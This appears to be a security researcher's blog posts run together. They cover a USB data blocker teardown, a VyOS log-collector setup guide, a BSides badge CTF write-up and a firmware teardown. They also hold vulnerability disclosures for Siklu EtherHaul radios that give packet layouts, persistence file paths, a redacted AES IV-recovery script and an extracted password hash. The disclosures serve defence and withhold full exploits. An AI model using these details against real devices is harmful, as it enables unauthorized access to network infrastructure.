I recently attended CyberCon 2025 in Melbourne, where NAB (National Australia Bank) was handing out USB “data blocker” devices as promotional items. The irony wasn’t lost on me: at a cybersecurity conference, attendees were being given opaque, sealed USB devices and expected to trust them.

In an era of sophisticated hardware attacks—from O.MG cables to USB Rubber Duckies—accepting unknown USB devices seems contrary to basic security hygiene. These data blockers come in sealed black casings that prevent visual inspection without destruction, containing ample internal space that could theoretically house malicious payloads.

Curiosity got the better of me. I decided to crack one open and analyze what’s actually inside.

What Is a USB Data Blocker?

A USB data blocker (also called a “USB condom” or “juice-jack defender”) is a simple adapter designed to allow charging while preventing data transfer. The concept is straightforward: block the data lines, pass through the power lines.

This NAB device is a USB Type-A male to USB Type-C female adapter, allowing you to plug it into a USB-A port (like a public charging kiosk) and then connect your USB-C device for “safe” charging.

The Hardware Analysis

After carefully opening the sealed casing, I examined the PCB and traced the connections. Here’s what I found:

The PCB appears to have the marking GACM-V1.1 but I was unable to find any further information on this, so the next logical step is to review each PCB trace and reverse engineer it!

The Data Lines: D+ and D-

The USB 2.0 data lines (D+ and D-) are shorted together. This is the primary mechanism that blocks data transfer. With these lines shorted, USB enumeration cannot occur—the host computer cannot detect or communicate with any connected device as a data device.

You might wonder why these pins are connected at all, even if just shorted together. Why not leave them completely disconnected? The answer comes down to USB charging standards and device behavior. Many charging implementations, particularly older ones, use the voltage or resistance on the D+ and D- lines to detect charger capabilities and negotiate charging current. Some devices check these lines to determine if they’re connected to a dedicated charging port, a standard downstream port, or something else entirely. By shorting D+ and D- together (typically through a small resistance), the device can signal to connected hardware that this is a charging-capable port while still preventing any actual data communication. It’s a way of saying “I can provide power” without saying “I can transfer data.”

This effectively prevents USB mass storage access, HID (keyboard/mouse) emulation attacks, and any USB 2.0 data communication.

The SuperSpeed Lines: SSTX/SSRX

Interestingly, the USB 3.x SuperSpeed transmit and receive differential pairs (SSTX+/-, SSRX+/-) are connected through the device.

At first glance, this seems counterintuitive for a data blocker. However, this doesn’t compromise the data-blocking function. USB 3.x requires USB 2.0 enumeration first—all USB 3.x devices must first enumerate using the USB 2.0 protocol on the D+/D- lines before upgrading to SuperSpeed mode. With the D+/D- lines shorted, enumeration never occurs, so SuperSpeed mode is never negotiated. The Type-A connector on the host side doesn’t properly support these signals in this configuration anyway.

So why connect them at all? The USB Type-C specification expects certain pins to be present and properly terminated for correct operation. Some USB-C devices or charging protocols check for the presence of these lines as part of their cable detection or validation process. Additionally, leaving high-speed differential pairs floating (unconnected) can sometimes cause electrical issues or prevent proper USB-C negotiation. By connecting them through, even though no data can flow, the device maintains better electrical compliance with USB-C standards and avoids potential edge cases where a device might refuse to charge due to unexpected pin states.

The Critical Component: 56kΩ Resistor

The most important component for functionality is a 56kΩ resistor connecting VBUS to the CC (Configuration Channel) pin.

This resistor is mandated by the USB Type-C specification. It identifies this device as a USB Type-C power source (DFP - Downstream Facing Port), and the 56kΩ value indicates the device can supply default USB power (5V @ 500-900mA). The CC pin also determines which way the USB-C cable is plugged in. Without this resistor, a USB-C device wouldn’t recognize a valid connection and wouldn’t charge.

This is standard USB Type-C design and is necessary for the device to function as a charging adapter.

The Security Question

So, does this device do what it claims? Yes, from a purely electrical standpoint, it should effectively block data transfer while allowing charging.

But here’s the uncomfortable question: how do you verify this without destructive testing?

The sealed, opaque casing means users must trust that the manufacturer built it correctly, that no malicious components were added, that the device wasn’t tampered with in the supply chain, and that NAB properly vetted their supplier.

The internal space in these devices is more than sufficient to house a microcontroller with wireless capabilities, flash storage for malicious payloads, additional circuitry that could be activated under certain conditions, or hardware keyloggers. While the PCB I examined appeared legitimate, accepting sealed USB devices from unknown sources contradicts fundamental security principles.

The Broader Implications

This raises some interesting questions about security culture and awareness.

The distribution of these devices at CyberCon creates a teachable moment. Security professionals should be the most skeptical of unsolicited USB devices, yet the convenience of free charging adapters can override our better judgment.

Even well-intentioned organizations like NAB may not have the resources to thoroughly audit every promotional item they distribute. Supply chain attacks on hardware are notoriously difficult to detect, and most users lack the tools and knowledge to verify these devices themselves. They must either trust the vendor completely, never use the device, or destroy it for inspection (making it unusable).

Recommendations

If you’re an organization thinking about distributing USB devices, reconsider the practice entirely. In 2025, handing out USB devices at security conferences sends mixed messages about security principles. If you absolutely must do it, provide detailed specifications, PCB layouts, and verification methods. Better yet, distribute information about commercially verified products rather than branded unknowns.

For users, the advice is simple: don’t use promotional USB devices, even from trusted organizations. Buy data blockers from reputable sources with transparent supply chains. If you must use one, buy multiple from different batches and compare them. When possible, use wireless charging to avoid the USB data/power coupling entirely, or just carry your own known-good cables.

Conference organizers might want to set policies around USB device giveaways at security events, or at least provide secure, verified charging options instead. If you allow them, make it a teaching opportunity about hardware trust.

Conclusion

The NAB data blocker appears to be a legitimate, functional device that does what it claims. The electrical design is sound, using standard USB Type-C configuration with appropriate data line blocking.

However, the deeper lesson isn’t about this specific device—it’s about the principle of hardware trust. At a cybersecurity conference, we should be modeling best practices, not distributing sealed USB devices that require blind trust to use safely.

The next time someone offers you a “free” USB device, remember: in security, trust isn’t free, and sometimes the most expensive thing you can accept is a gift you can’t verify.

Disclaimer: This analysis is based on one sample device and does not constitute a comprehensive security audit. The findings suggest the device functions as advertised, but individual verification is impossible without destructive testing. Users should make their own informed decisions about using any USB device from unknown sources.

Generally network devices have their logs ingested into a central logging system through the industry standard syslog.

However syslog has several limitations, when utilising UDP message are limited to the max size of a single UDP packet (eg. 1024 bytes)

As VyOS is based on Debian Linux utilising journald logging, and its support for containers, it is possible to simply hook into journald and obtain enriched logs via a container skipping many limitations of syslog.

For example ingesting from journald will expose the source system unit (eg. cron / ssh / kernel) and simplify timestamp extraction.

This proof-of-concept will go over the process to setup the Logscale Collector as a container, additionally using Logscale Fleet Management to enable centralised monitoring and management.

Note: Whilst this article focuses on Logscale Collector, other collectors could also work (eg. Vector.dev) and I may publish follow up articles for Vector.dev

1. Import Parser

To ensure the logs are easily searchible, a parser should be configured, I have published a working parser on Github which can be imported into Logscale.

Navigate to the “Parsers” section under “Data connectors” and click “Add new parser”

Specify the Parser name and select “Import” and upload the file from Github, then click create.

2. Setup connector

Navigate to the “Data connections”, click “+ Add connection”, find the “Falcon Logscale Collector” item and then click “Configure”

Give connector and data source a name, then set the newly imported parser.

After creating the connector, generate the API keys and note for use later.

Reference: Documentation: Configure Falcon Logscale Collector

3. Define Fleet Configuration

Navigate to the “Fleet management” tab, switch to “Config overview”, and select “+ New config”.

Give the new config a name, and start with an empty config.

In the draft editor, copy the below config and adjust the sink siem_vyos-journal to have the connector token and URL obtained in the previous step, then click “Publish” to save the changes

sources:
  journal:
    type: journald
    sink: siem_vyos-journal
    # Optional. If not specified collect from the local journal
    directory: /var/log/journal
    # If specified only collect from these units
    #includeUnits:
    #  - systemd-modules-load.service
    # If specified collect from all units except these
    excludeUnits:
    ##  - systemd-modules-load.service
    # Default: false. If true only collect logs from the current boot
    currentBootOnly: true
sinks:
  siem_vyos-journal:
    type: humio
    token: <TOKEN>>
    url: https://<URL>.ingest.us-2.crowdstrike.com

Reference: Documentation: Configure Enrollment Tokens

4. Setup Fleet Management Enrollment Token

Navigate to the “Enrollment tokens”, and click “+ New token”.

Give the token a suitable name, and then set this token to use the config previously created.

Note: For advanced use you can leave the config undefined, and configure a group instead to match for the VyOS* OS and assign the config dynamically.

After creating the token, retrieve the “Enrollment token”, this is the long string of random characters at the end of the “Enrollment command”, this will be used when deploying the container.

References: Documentation: Fleet Config

5. Deploy Container to VyOS

The final step is to deploy the container to the VyOS devices, if there are multiple devices you can use the same enrollment token as many times as needed.

First step will be to create some persistent storage locations which will allow the collector to remember its enrollment and what it has processed between restarts.

I have created a custom logscale-collector image that includes additional environmental variables to enable enrollment, this will need to be added to the device before the container can be configured.

# Create persistent storage directories
mkdir -p /config/containers/humio-log-collector_var
mkdir -p /config/containers/humio-log-collector_etc

# Add container image (must be done outside of configure mode)
add container image semaja2/logscale-collector:latest

Now that everything is in place, we will need to switch to configure mode and configure the container.

To make this process simple the below commands have the ENROLL_TOKEN at the top, set the enrollment token obtained previously (eg. ENROLL_TOKEN=eyJoZ...)

Once the ENROLL_TOKEN variable is configured, the rest of the commands can be bulk entered and finally committed.

Caution: VyOS maintains roughly 1GB of journal logs, when the container is deployed it may cause high CPU/Memory usage whilst it processes the backlog, as such ensure ample resources are available.

# Set this shell variable to the enrollment token retrieved earlier
ENROLL_TOKEN=

# Configure container
edit container name logscale-collector
set image 'docker.io/semaja2/logscale-collector:latest'
set restart 'always'
set memory 512
set cpu-quota 1

## Provide host network to avoid extra configuration
set allow-host-networks

## Set host-name to match router, will be used in fleet management
set host-name $HOSTNAME

## Configure enrolment token from fleet management
## Can be removed after initial enrolment if persistent storage enabled
set environment HUMIO_LOG_COLLECTOR_ENROLL_TOKEN value $ENROLL_TOKEN


## Add host /var/log to container to extract logs, mount as read only to avoid tampering
set volume logs destination '/var/log'
set volume logs mode 'ro'
set volume logs source '/var/log'

# Add host /etc/os-release to enable fleet management to report correct OS version
set volume os-version mode 'ro'
set volume os-version source '/etc/os-release'
set volume os-version destination '/etc/os-release'

## Add persistent storage locations
set volume conf destination '/etc/humio-log-collector'
set volume conf mode 'rw'
set volume conf source '/config/containers/humio-log-collector_etc'
set volume var destination '/var/lib/humio-log-collector'
set volume var mode 'rw'
set volume var source '/config/containers/humio-log-collector_var'

After committing the changes the container should start, and appear in the Fleet management overview screen.

Following the initial disclosure of the unauthenticated RCE vulnerability in Siklu EtherHaul devices (CVE-PENDING), further investigation revealed that the same vulnerable rfpiped service on TCP port 555 can be exploited for arbitrary file uploads without authentication. This critical security flaw allows remote attackers to upload files to any writable location on the device, enabling persistent backdoors and system compromise.

Severity: Critical
CVSS Score: Pending
CVE ID: CVE-2025-57176
Affected Versions: Firmware 7.4.0 - 10.7.3 (likely all versions since 7.4.0)

Vulnerability Details

Description

The vulnerability allows unauthenticated file uploads through the rfpiped service. File upload packets use a hybrid encryption scheme where only metadata is encrypted while file contents are transmitted in cleartext. Combined with unrestricted path access, this enables attackers to write arbitrary files to persistent storage locations.

Impact

• Arbitrary File Upload: Write files to any writable location on the device
• Persistent Access: Upload scripts and configurations that survive reboots
• No Authentication Required: Exploitation requires no credentials or prior access
• Cleartext Exposure: File contents visible in network traffic

Technical Root Cause

The vulnerability exists due to:

• No authentication mechanism for file upload operations
• Unrestricted file path validation
• Static encryption keys hardcoded in the binary

Investigation Timeline

Background

During analysis of the device management interface following the RCE discovery, packet captures revealed that file upload operations also utilize the vulnerable rfpiped service on TCP port 555.

Technical Analysis

1. File Upload Packet Structure Analysis revealed a concerning hybrid structure of encrypted and cleartext:

   Offset  Size    Description                 Encryption
   0x00    16      Header                      Encrypted
   0x10    32      Target filepath #1          Encrypted
   0x30    32      Padding (zeros)             Encrypted
   0x50    32      Target filepath #2          Encrypted
   0x70    32      Padding (zeros)             Encrypted
   0x90    var     File contents               CLEARTEXT
   

2. Filesystem Analysis The device uses overlay filesystems enabling persistence:

   /dev/root on / type squashfs (ro,relatime)                              # Root filesystem is READ-ONLY
   tmpfs on /tmp type tmpfs (rw,relatime)                                  # Volatile storage
   ubi0:conf on /var type ubifs (rw,relatime)                              # Persistent storage
   none on /etc type overlay (rw,relatime,lowerdir=/etc,upperdir=/var/etc) # Overlay on /etc enabling RW persistent storage
   

3. Exploitation Paths Key writable locations for persistence:
   • /var/etc/init.d/ - Init scripts that survive reboots
   • /tmp/.rastamp - Root Access Stamp (enable root login via SSH)

Affected Products

Confirmed Vulnerable

• Product: Ceragon/Siklu EtherHaul Series devices (Tested on 8010 and 1200)
• Versions: 10.6.2, 10.7.3 (tested)
• Likely Affected: All EtherHaul series devices running firmware 7.4.0 or later

Patch Status

No patch available at the time of this disclosure.

Mitigation Recommendations

Immediate Actions

1. Network Isolation: Isolate affected devices from untrusted networks
2. Firewall Rules: Block TCP port 555 traffic to/from EtherHaul devices
3. Monitor Network Traffic: Watch for suspicious patterns on port 555

Long-term Recommendations

1. Device Replacement: Consider replacing affected devices until patches are available
2. Network Segmentation: Implement proper network segmentation for critical infrastructure
3. Monitoring: Enable logging and monitor for suspicious activities on port 555

Responsible Disclosure Timeline

• Initial Discovery: 2025-04-12
• Vendor Notification: 2025-04-16
• 90-Day Disclosure Notice: 2025-04-28
• Extension Offer: 2025-05-28 (No response received)
• Public Disclosure: 2025-08-03

Vendor Response

When asked for an estimated patch timeline, the vendor stated:

Although we cannot estimate an ETA at this stage, the topic is already under review as part of our continuous improvement approach, and steps toward enhancing it are being considered.

Operational Context

Under typical deployment scenarios, detection is complicated by:

• Limited File System Access: No visibility through normal administrative interfaces
• Forensic Limitations: Investigation requires physical access (eg. UART) or vendor cooperation

These constraints mean compromises may go undetected indefinitely.

Proof of Concept

Due to the critical nature of this vulnerability and the lack of available patches, full technical details and exploit code are being withheld at this time.

References

• Siklu EtherHaul RCE Disclosure
• CVE-2025-57176

Disclaimer: This disclosure is provided for educational and defensive purposes. The author is not responsible for any misuse of this information.

The Ceragon/Siklu EtherHaul series devices are vulnerable to an unauthenticated remote command execution (RCE) vulnerability. This critical security flaw allows remote attackers to execute arbitrary commands on affected devices without any authentication, potentially leading to complete device compromise.

Severity: Critical
CVSS Score: Pending
CVE ID: CVE-2025-57174
Affected Versions: Firmware 7.4.0 - 10.7.3 (likely all versions since 7.4.0)

Vulnerability Details

Description

The vulnerability exists in the rfpiped service listening on TCP port 555. Despite a previous patch attempt in 2017 for a similar vulnerability, the current implementation’s encryption scheme can be bypassed, allowing attackers to craft malicious packets that execute privileged commands remotely.

Impact

• Remote Command Execution: Attackers can execute arbitrary CLI commands
• Network Compromise: Affected devices can serve as entry points into protected networks
• No Authentication Required: Exploitation requires no credentials or prior access

Technical Root Cause

The vulnerability stems from weak cryptographic implementation in the inter-device communication protocol. While encryption was added as a mitigation for CVE-2017-7318, the implementation uses:

• Static encryption keys hardcoded in the binary
• Predictable initialization vectors (IVs)
• No authentication mechanism for command packets

Investigation Timeline

Background

Building upon research by Ian C Lang (late 2016) who disclosed a similar vulnerability affecting firmware versions <7.4.0, this investigation examined whether the vendor’s patch adequately addressed the underlying security issues.

Technical Analysis (Summary)

Note: This section provides a high-level overview of the vulnerability discovery process. A comprehensive technical deep-dive, including detailed methodology, reverse engineering steps, and cryptographic analysis will be published once a patch becomes available to ensure responsible disclosure practices are maintained.

1. Service Discovery
   • Confirmed rfpiped still listens on TCP port 555
   • Service binds to all IPv4 and IPv6 addresses (tcp6 *:555)
   • Inter-device communication occurs over link-local IPv6 addresses
2. Packet Analysis
   • Initial packet captures showed encrypted payloads
   • Repeated packets suggested replay attack potential
   • Successfully replayed sensitive actions on devices running firmware versions 10.6.2 and 10.7.3
3. Encryption Analysis
   • Reverse engineering revealed AES-256 encryption implementation
   • Located hardcoded encryption key in rfpiped binary
   • Recovered static IV through cryptographic analysis
   • Confirmed packet structure remained unchanged from pre-patch versions
4. Exploitation
   • Developed proof-of-concept demonstrating arbitrary command execution
   • Verified ability to add administrative users remotely
   • Confirmed vulnerability across multiple firmware versions

Affected Products

Confirmed Vulnerable

• Product: Ceragon/Siklu EtherHaul Series devices (Tested on 8010 and 1200)
• Versions: 10.6.2, 10.7.3 (tested)
• Likely Affected: All EtherHaul series devices running firmware 7.4.0 or later

Patch Status

No patch available at the time of this disclosure.

Mitigation Recommendations

Immediate Actions

1. Network Isolation: Isolate affected devices from untrusted networks
2. Firewall Rules: Block TCP port 555 traffic to/from EtherHaul devices
3. Access Control Lists: Implement strict ACLs limiting device communication

Long-term Recommendations

1. Device Replacement: Consider replacing affected devices until patches are available
2. Network Segmentation: Implement proper network segmentation for critical infrastructure
3. Monitoring: Enable logging and monitor for suspicious activities on port 555

Responsible Disclosure Timeline

• Initial Discovery: 2025-04-12
• Vendor Notification: 2025-04-16
• 90-Day Disclosure Notice: 2025-04-28
• Extension Offer: 2025-05-28 (No response received)
• Public Disclosure: 2025-08-02

Vendor Response

When asked for an estimated patch timeline, the vendor stated:

Although we cannot estimate an ETA at this stage, the topic is already under review as part of our continuous improvement approach, and steps toward enhancing it are being considered.

Proof of Concept

Due to the critical nature of this vulnerability and the lack of available patches, the encryption key and full exploit code are being withheld at this time. A redacted version demonstrating the cryptographic recovery process for the IV is shown below:

from Crypto.Cipher import AES

# Known values (redacted)
key_hex = "<REDACTED>"
p0_hex  = "0000000000000000000000ad00000000"
c0_hex  = "3d6f17eec0524870dac244fe2e357952"

# Convert to bytes
key = bytes.fromhex(key_hex)
p0 = bytes.fromhex(p0_hex)
c0 = bytes.fromhex(c0_hex)

# Decrypt first block with AES-ECB
cipher = AES.new(key, AES.MODE_ECB)
intermediate = cipher.decrypt(c0)

# XOR with plaintext to recover IV
iv = bytes([a ^ b for a, b in zip(intermediate, p0)])

print("Recovered IV:", iv.hex())

References

• Original 2016 Disclosure by Ian C Lang
• OpenBSD AES_encrypt Manual
• CVE-2025-57174

Acknowledgments

Thanks to Ian C Lang for the original research that provided the foundation for this investigation.

Disclaimer: This disclosure is provided for educational and defensive purposes. The author is not responsible for any misuse of this information.

Taking a break from the security research, I recently attended the BSides Adelaide conference and obtained a hardware badge full of challenges, this post is a write up of the various challenges and how they were solved.

Updates: It appears my methods for several challenges worked because the words ZERO and ONE both produce a pattern as a byproduct of the words length, the correct methods were added at the end of each section but my methods were left as-is to show the problem solving approach I took

How do the badge challenges work?

This badge consists of 3 key components on first inspection

• 7x small LEDs
  • To be soldered at hardware village
• 1x RGB LED
  • Closer inspection reveals this LED only has two pins (eg. DC input)
  • Pattern is likely random and unrelated to challenges, logic is likely inside LED itself
• 3x push buttons
  • 1x Labelled CTF
  • 2x Labelled 1 or 0

From the badges website we can find further instructions on how to use the badge and what to look for in each challenge

BSides Adelaide’s second conference badge with a CTF and onboard keys to play.

Turn on the slide switch to see the sneak preview for 3 seconds. Solve fun crypto challenges and earn your bragging rights with your badge glowing maximum LEDs.

To play the CTF, simply press the CTF key then type the flag in binary using switches 1 and 0.

Each challenge results in a binary flag. The badge registers and unlocks the challenge LEDs instantly after pressing the correct binary flag. Challenges can be solved in any order.

To reset the CTF progress, press and hold 1 and 0 keys at the same time for a few seconds.

Mysteries encountered - if any - can be exploited via 1010101010.

In short we are looking for 10 bit binary values, which can be entered with either 1 or 0 buttons after pressing the CTF button, if the binary was correct the LED corresponding to the challenge should light up.

Challenge A - Vocal Processor Unit: CARKED IT!

FALKEN was meant to chuck out beaut one-liners like “Dig’s done, ya legend!” but nah - he’s gone full galah. Now he’s spittin’ out old-school telly ads from the 90s… backwards. Every time he opens his gob, he kicks off impromptu karaoke, crankin’ out disco bangers about firmware like he’s on Australia’s Got Malfunctions.

Status: “Oi! Now with BONUS steak knives?!”

Error Code: —– .—- .—- .—- .—- / .—- —– .—- —– .—-

Looking at the “Error Code:” we can see what looks like a pattern consisting of dashes and dots, which rings bell of “Morse Code” so lets give that a shot using an online translator

This quickly confirms the theory as it neatly translates into 01111 10101 and to confirm once entered into the badge we can see the A LED light up

Challenge B - Memory Bank Omega: STUCK IN A BLOODY SPIN

FALKEN’s Memory Bank Omega was where he kept all his top-shelf brain bits - y’know, important stuff like “Don’t stack it into rocks” and “Oi, remember the good worms.” But now the poor tin can’s caught in an eternal defrag loop, like a tradie lookin’ for his smoko break that never comes. Every time it tries to sort itself out, it forgets what it was even doin’. Real headless chook behaviour.

Status: “Sortin’ food… wait, where’s bloody food?!”

Error Code: babbb aabaa baaaa abbab babbb aabaa baaaa abbab abbab abbaa aabaa babbb aabaa baaaa abbab babbb aabaa baaaa abbab abbab abbaa aabaa abbab abbaa aabaa babbb aabaa baaaa abbab abbab abbaa aabaa abbab abbaa aabaa

Once again it looks like the “Error Code” is where we can expect the challenge to be, in this one we find a long string consisting of 35x five character sections separated by a space.

We also notice only two characters are in use a and b which could be swapped for 1 or 0 for a potential binary answer, applying this logic we get two versions to test

b = 0, a = 1

01000 11011 01111 10010 01000 11011 01111 10010 10010 10011 11011 01000 11011 01111 10010 01000 11011 01111 10010 10010 10011 11011 10010 10011 11011 01000 11011 01111 10010 10010 10011 11011 10010 10011 11011

b = 1, a = 0

10111 00100 10000 01101 10111 00100 10000 01101 01101 01100 00100 10111 00100 10000 01101 10111 00100 10000 01101 01101 01100 00100 01101 01100 00100 10111 00100 10000 01101 01101 01100 00100 01101 01100 00100

Using a quick tool such as CyberChef with the “b = 0, a = 1” version, we discover that CyberChef has “Auto Magic” found this is a Bacon Cipher which decodes into the string ZEROZEROONEZEROZEROONEONEZEROONEONE which when turned into digits is our 10 bit binary answer

00100 11011

Entering this into our badge we confirm success as the B LED lights up

Challenge C - Optic Sensor Array: SEEN TOO MUCH, COBBA

FALKEN was built to suss out dirt ‘n’ tree roots, right? But nah, now his peepers are pickin’ up heat from people’s deep thoughts and bloody radio stations from who-knows-where. Bloke just stares off into the void muttering, “The code… it’s alive…” like he’s seen the bottom of a goon sack and found enlightenment.

Status: “Mate… I’ve seen things. Codey-lookin’ things.”

Error Code: Codey-Lookin-Things

This time the Error Code is a link to a picture…

In the image we can observe some glyph like characters, my first thought was to extract if the glyph had a solid dot in the center or not, but this turned out to be a dead end, following that we can start to look for patterns in the characters.

For this walk through we will convert the glpyhs into normal characters

Glyph	Character
	A
	B
	C
	D
	E

With this conversion we end up with the string

ABCDDEBABCDDEBABCD

DEBABCDDEBCEBABCD..

In this string we start to notice patterns as each line ends with ABCD so lets look for reoccurring strings of characters

ABCD | DEB | ABCD | DEB | ABCD

DEB | ABCD | DEB | DEB | ABCD

We now have 10 sections, which could become 10 bits? If we assign 0 to the ABCD sections and 1 to the DEB sections, we get the following binary

0 | 1 | 0 | 1 | 0

1 | 0 | 1 | 1 | 0

Entering 01010 10110 into the badge we confirm this and find the C LED light up

Update: Turns out this is not the correct solution and instead using the Pigpen cipher it decodes directly using the key - Thanks Dirk!

Challenge D - Temperature Regulation Node: OVERCOMPENSATING

Designed to maintain optimal internal conditions, the node now fluctuated between “Arctic Tundra” and “Volcanic Spa” every 45 seconds. Steam vents hissed while icicles formed on Wally’s chassis, which only added dramatic flair to his existential burrowing meltdown.

Status: “Am I hot? Am I cold? What even is thermal neutrality?”

Error Code: mrebmrebmrebbarbar mrebbarmrebbarbar

Coming from the previous challenge, its hard to not apply the same pattern logic, we can see bar is at the end of both strings, lets try to break it up with that pattern

mrebmrebmreb | bar | bar mreb | bar | mreb | bar | bar

It would appear that mreb is also another pattern, so continuing to break it up we get

mreb | mreb | mreb | bar | bar | mreb | bar | mreb | bar | bar

Assigning 1 to mreb and 0 to bar we get 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 1

Entering 00011 01011 into the badge we confirm the solution and see the D LED light up

Update: Turns out this is not the correct solution and instead a simple ROT13 is the answer which can be achieved via CyberChef - Thanks Kudostring!

Challenge E - Servo Cluster : ENGAGED IN EXPRESSIVE KINETICS

The back-left paw servo, in a baffling act of mechanical rebellion, has forsaken all known burrowing subroutines in favor of interpretive movement. It pirouettes with intent. It tap-dances with soul. Occasionally, it attempts a moonwalk with questionable traction. Tunnel progress? None. Hidden deep in its motion subroutines, engineers discovered a cryptic sequence labeled “br41n”-believed to be some kind of secret recipe, or perhaps just a jazz step.

Status: “Burrow to the beat.”

Error Code: ++++++++++[>+>+++>+++++++>++++++++++««-]»++++++++++++++++++….+.—————–.+++++++++++++++++….-.

This challenge had me for a moment as I could not identify any patterns, but with modern technology we can simply consult good ol’ ChatGPT to see if it has any clues…

Sure! That string is Brainfuck, a minimalistic esoteric programming language. Let’s break down what it does and find what output it produces — likely this output will help us derive the 10 binary bits answer you’re seeking.

Amazing! Unfortuantley ChatGPT struggled decode program into a working binary solution, but with a possible language at hand lets try a dedicated tool for the task.

This tool quickly produces a binary response, and entering this into the badge we confirm the solution as the E LED lights up

Challenge F & G - Navigation GyroSphere: SPINNING INFINITY

Designed to guide seamless subterranean turns, the Navigation GyroSphere has instead embraced a meditative state of constant rotation-affectionately dubbed “perma-spin” by the engineering team. Wally now spins in place with unwavering commitment, occasionally consulting passing squirrels for navigational wisdom. An intern was last seen flipping through the original blueprints, whispering, “Was this… always supposed to happen?”

Status: “Existentially unmoored. Elegantly dizzy.”

Error Code: Wombat Blueprints

This challenge we are given a link to a zip file, upon downloading and reviewing the contents we discover it appears to be the PCB design files for the badge with gerber related files.

Using a free online viewer we can upload the ZIP file to see the design, which reveals some text not seen on the badge itself

Stripping away the layers to only leave the yellow and blue layers, we can get a better view

As the text is reversed, lets flip the image and get a better look at the text

At first look we notice the blue text appears to contain a incomplete binary with only 8 of the 10 bits set, leaving 4 potential combinations left, so lets try brute forcing the code starting with 11000 11100…. which after entering in the badge we confirm this is the answer for challenge G as its LED lights up

Onto the last challenge, extracting the yellow text (eecy drwo zxi bse kovb eecy saj oyo drwo zxi) we can see what appears to be another pattern with 10 sections separated by spaces so should be a direct answer

Looking past the characters themselves we notice that each section is either 3 or 4 characters long, so we have 2 distinct values now, lets assign 0 to the 3 character sections, and 1 to the 4 character sections

00110 01101

Entering this we confirm the solution as the final LED for F lights up… or is it the final LED….

Update: Turns out this is not the correct solution and is actually a Vigenere cipher with our lovely wombat’s name as the key (falken) the key could also be brute forced as we can assume the words ZERO and ONE may be present based on previous challenged - Thanks uǝɹʍ!

Secret Challenge

When we look at the back of the badge, we notice a potentially unpopulated LED at D9 in the top left, in addition to being unpopulated we can observe the traces for those pads are connected to anything…

Generally a LED is connected with a resistor to avoid burn out, observing other sections of the board we notice the resistor at R11 goes to a pad thats not connected to anything…

What if we attach the pad from R11 to the + pad for D9, and connect the - pad to a near by ground pad?

Attaching these jump wires, the LED blinks when the badge is turned on but stays off afterwards…

Recalling to the original instructions, they provided another binary code we could enter

Mysteries encountered - if any - can be exploited via 1010101010.

Entering this code the LED begins to give a morse code looking response, to make it easier to visualise I used a logic analyser to capture the code

During the early stages of the investigation of the Siklu EH-8010 it became apparent the devices were using the same static root password which was previously discovered on the Siklu TG series.

This password was previously obtained from the Siklu TG firmware which used a weak md5crypt cipher and was brute forced using existing rulesets.

Due the sensitivity of this password, neither the hashed or complete clear text password will be provided here.

❯ cat etc/shadow
root:$5$q9V...aC:3::::::
admin:$5$lENXgHGmWmhrHdZ0$k/g0R3qsrhl3uognq1PBaMLsUSMWxJxOVhldNHrRtw6:3:0:99999:9999:::

The above was extracted from the latest 10.8.1 firmware, and was also observed in the 10.6.2 firmware suggesting the password has remained the same for some time.

Impact

In the standard configuration the root user account can not directly be used as neither the web admin interface or SSH permit directly logging in as root.

Access to the root account is normally restricted to UART (physical access required) or via the debug login cli command when logged in as an admin user.

After successfully executing debug login a root shell will be created, as well as the creation of the /tmp/.rastamp file which enable directly logging in as root via SSH.

If a threat actor obtained the admin credentials this root account could enable persistence and be difficult to detect, alternatively if the threat actor could utilise another vulnerability to create the /tmp/.rastamp file they would have direct access to the root account.

Affected Products

Confirmed Vulnerable

• Product: Ceragon/Siklu EtherHaul Series devices (Tested on 8010 and 1200)
• Versions: 10.6.2, 10.7.3 (tested)
• Likely Affected: All EtherHaul series devices running firmware 7.4.0 or later

Patch Status

No patch available at the time of this post.

Vendor Response

When asked for an estimated patch timeline, the vendor stated:

Although we cannot estimate an ETA at this stage, the topic is already under review as part of our continuous improvement approach, and steps toward enhancing it are being considered.

References

• Siklu EtherHaul EH-8010 Investigation
• Siklu TG Disclosures
• CVE-2025-57175

Disclaimer: This disclosure is provided for educational and defensive purposes. The author is not responsible for any misuse of this information.

In this post I wanted to dig into the methodology I used to understand how a vendor (Siklu) encrypts their firmware images, and from that hopefully extract the keys and reverse the process to enable easier analysis of firmware files.

Having physical access to a device you are attempting to analyze makes the process much easier, in the current situation without a physical device we would be stuck with an encrypted firmware file. Luckily in this instance I was able to physically obtain a piece of old hardware, and crack it open to have look at what we are dealing with.

Physical Teardown

Removing the casing reveals a main PCB with 2x smaller PCBs housing the 70/80Ghz radios for vertical and horizontal, to protect my self whilst working with the device on the desk I carefully disconnected the ribbon cables to prevent any potentially dangerous RF being generated.

Reviewing the PCB we can see many header pins pre-soldered ready to go, some labelled JTAG which may be useful, however before we look at those we should look to see if there is an UART pins.

UART pins are generally clustered in groups of 4x pins (TX/RX/VCC/GND) or sometimes 3x pins (TX/RX/GND) using this logic we can identify two potential headers J7 and JM3

Using a multimeter and logic analyzer I was able to confirm J7 is the UART header running on baud 115200, with the below pin out, now that we have UART lets dig into that next.

J7 - UART (3.3V)

GND | VCC
---------
RX  | TX

UART

Attaching a UART/TTL to USB adapter to the identified header, we can power the device up and monitor the boot process. (full boot log available here)

Observing the boot process we are able to confirm this device utilizes U-Boot as its bootloader, with a Freescale i.MX6ULL ARMv6 CPU, and 512MiB of RAM as well as 128MiB of NAND storage.

U-Boot 2017.11-svn25732 (Feb 11 2019 - 19:40:50 +0200)

CPU:   Freescale i.MX6ULL rev1.1 528 MHz (running at 396 MHz)
CPU:   Industrial temperature grade (-40C to 105C) at 44C
Reset cause: POR
Model: Siklu TBD
Board: Siklu PCB19x
I2C:   ready
DRAM:  512 MiB
NAND:  128 MiB
In:    serial
Out:   serial
Err:   serial
Init SYSEEPROM Data...
SF: Detected gd25q16 with page size 256 Bytes, erase size 64 KiB, total 16 MiB
Erasing NAND...
Erasing at 0x0 -- 100% complete.
Writing to NAND... OK
Net:   PHY reset timed out
FEC0
Hit any key to stop autoboot:  3

The NAND storage appears to be partitioned into 7 partitions, with two containing the firmware image (one likely being a backup/secondary firmware slot)

Creating 7 MTD partitions on "gpmi-nand":
0x000000000000-0x000000020000 : "env"
0x000000020000-0x000000040000 : "env2"
0x000000040000-0x000000060000 : "env_t"
0x000000060000-0x000002860000 : "uimage0"
0x000002860000-0x000005060000 : "uimage1"
0x000005060000-0x000006060000 : "conf"
0x000006060000-0x000008000000 : "log"

